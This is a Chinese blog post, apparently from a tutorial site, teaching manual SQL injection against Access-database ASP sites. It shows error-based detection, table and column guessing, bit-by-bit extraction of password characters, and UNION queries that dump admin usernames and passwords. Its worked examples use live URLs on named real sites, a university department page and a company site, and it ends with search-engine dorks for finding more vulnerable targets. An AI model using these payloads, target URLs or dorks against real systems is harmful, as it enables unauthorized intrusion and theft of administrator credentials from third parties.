ACCESS数据库的注入要点

ACCCESS注入的方法,几个常用语句的使用

ACCESS数据库的注入与MSSQL不同,要得到表名,字段,以及字段的内容不能用MSSQL"暴"的方法直接得到(什么是"暴"以后在戒

 

绍MSSQL注入时会介绍),ACCESS只能用猜解出表名和字段,然后再猜解出字段的长度,最后把字段的内容从第一位到第N位一个个猜解出

 

来,采用的猜解方法类似玩一个游戏猜大小,比如一个数字,猜是否大于100如果不是,刚猜是否大于1,如果为正确,那么再猜是否大于50,如

 

果正确,则再猜是否大于80,一直这样猜下去,这种猜解字段内容的方法,被称为"折半猜解法".

 

第一步,确定注入点:

用' 或者1=1  1=2检测

 用' 如果报大概这样的错误:Microsoft JET Database Engine 错误 '80040e14'

  就表示是ACCESS数据库,并且该网站存在注入漏洞

1=1 正确

1=2 


根据 响应状态码判断   500   200

ADODB.Field 错误 '800a0bcd'

BOF 或 EOF 中有一个是“真”,或者当前的记录已被删除,所需的操作要求一个当前的记录。

参数:
   id=3996
   id=3996%20and%201=1
    id=3996%20and%201=2
sql="select * from t1 where id='"+"3996 and 1=2"+"'";

sql语句: select * from t1 where id=3996 and 1=2



第二步,猜解表名

 

用 and exists (select 1 from[admin]) 检测是否存在ADMIN表,ADMIN这个表名可以替换成其它的表名进行猜解,如果存在该表

 

名返回结果为正常,如果不存在则返回为出错,



错页面

id=3996%20and%20%20exists%20(select%201%20from%20admin)

结果:

Microsoft JET Database Engine 错误 '80040e37'

Microsoft Jet 数据库引擎找不到输入表或查询 'admin'。 确定它是否存在,以及它的名称的拼写是否正确。

/inc/conn.asp,行 478


说明admin表不存在


如果访问正常  说明admin表是存在的



第三步,猜解某表名中存在的字段

 

and exists (select top 1[name] from [admin])    前面[name]方括号中的NAME可以换成你要查询的字段名,后面ADMIN则是

 

要查询的表名,这一句的意思就是查询在ADMIN表中是否存在NAME字段,和上面的一样,如果存在返回页面为正常页,如果不存在,则是出

 

正常请求:  ?id=3996%20and%20%20exists%20(select%20name%20from%20admin)

说明存在admin表存在 name字段


第四步.猜解字段的长段

 

and (select top 1 len(name) from Admin)>0  LEN参数提取返回第一个数据字段长度内的name是字段名,>0可以换成>1.>2直到猜中

 

字段的长度

 

第五步,折半法猜出--重为关键的一环

 

and (select top 1 asc(mid(name,N,1)) from Admin)>0  猜解第N位的ASCII码>0取值从负数到正数都有可能,当然常见的

 

密码都是数字加字母的组和,他们的ASCII值在0-128之间,将值替换为这之间的值,如果正确,则返回正常页面,如果不是责返回出错,

 

将N分别替换为1 2 3 4... 反复猜解即可得出字段每一个位数的值而得到密码



ACCESS数据库

用' 如果报大概这样的错误:Microsoft JET Database Engine 错误 '80040e14'
就表示是ACCESS数据库,并且该网站存在注入漏洞

存在注入 可以使用  ' or 1=1   或者等    'or 1=2





注入地址:
http://bioeng.swjtu.edu.cn/shownews.asp?type=新闻中心&stype=学院新闻&id=674

根据注入地址 进行SQL猜解
表


整理:
语句1  原来的内容查找不出来  id值为 671 union select * from admin
http://bioeng.swjtu.edu.cn/shownews.asp?type=%D0%C2%CE%C5%D6%D0%D0%C4&stype=%D1%A7%D4%BA

%D0%C2%CE%C5&id=671 union select * from admin

语句2   原来的内容查找可以查找出来  id = 671
http://bioeng.swjtu.edu.cn/shownews.asp?type=%D0%C2%CE%C5%D6%D0%D0%C4&stype=%D1%A7%D4%BA

%D0%C2%CE%C5&id=671  and exists (select * from admin)

推荐语句2 写法


猜解字段
http://bioeng.swjtu.edu.cn/shownews.asp?type=%D0%C2%CE%C5%D6%D0%D0%C4&stype=%D1%A7%D4%BA

%D0%C2%CE%C5&id=671 and exists (select name from admin)


http://bioeng.swjtu.edu.cn/shownews.asp?type=%D0%C2%CE%C5%D6%D0%D0%C4&stype=%D1%A7%D4%BA

%D0%C2%CE%C5&id=671 and exists (select pwd from admin)


http://bioeng.swjtu.edu.cn/shownews.asp?type=%D0%C2%CE%C5%D6%D0%D0%C4&stype=%D1%A7%D4%BA

%D0%C2%CE%C5&id=671 and exists (select a_name from admin)


http://bioeng.swjtu.edu.cn/shownews.asp?type=%D0%C2%CE%C5%D6%D0%D0%C4&stype=%D1%A7%D4%BA

%D0%C2%CE%C5&id=671 and exists (select a_pass from admin)



使用union一般是直接手动在网页中显示查到的管理员信息

http://bioeng.swjtu.edu.cn/shownews.asp?type=%D0%C2%CE%C5%D6%D0%D0%C4&stype=%D1%A7%D4%BA

%D0%C2%CE%C5&id=671%20union%20select%201,2,3,a_name,5,6,a_pass,8,9,10,11%20from%20admin



附加:

若想直接在网页中显示出密码:

那么首先知道表名  ,然后  

http://www.v8gas.cn/show_News.asp?id=4360 order by 10  成功

http://www.v8gas.cn/show_News.asp?id=4360 order by 11  失败

那么 可以判断返回的数据是 10 个字段数量, 

然后在 select top 1 1,2,3,4,5,6,7,8,9,10 from admin  显示出 2,3  那么 2,3位置就是可以显示出来的值 

在把字段 写在 2,3处

select top 1 1,username,password,4,5,6,7,8,9,10 from admin


http://www.v8gas.cn/show_News.asp?id=4360   union select top 1 1,username,password,4,5,6,7,8,9,10 from admin

用户名和密码就出来了




搜索引擎关键字收集

inurl:schoolmate.asp

inrul:shownews.asp


  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值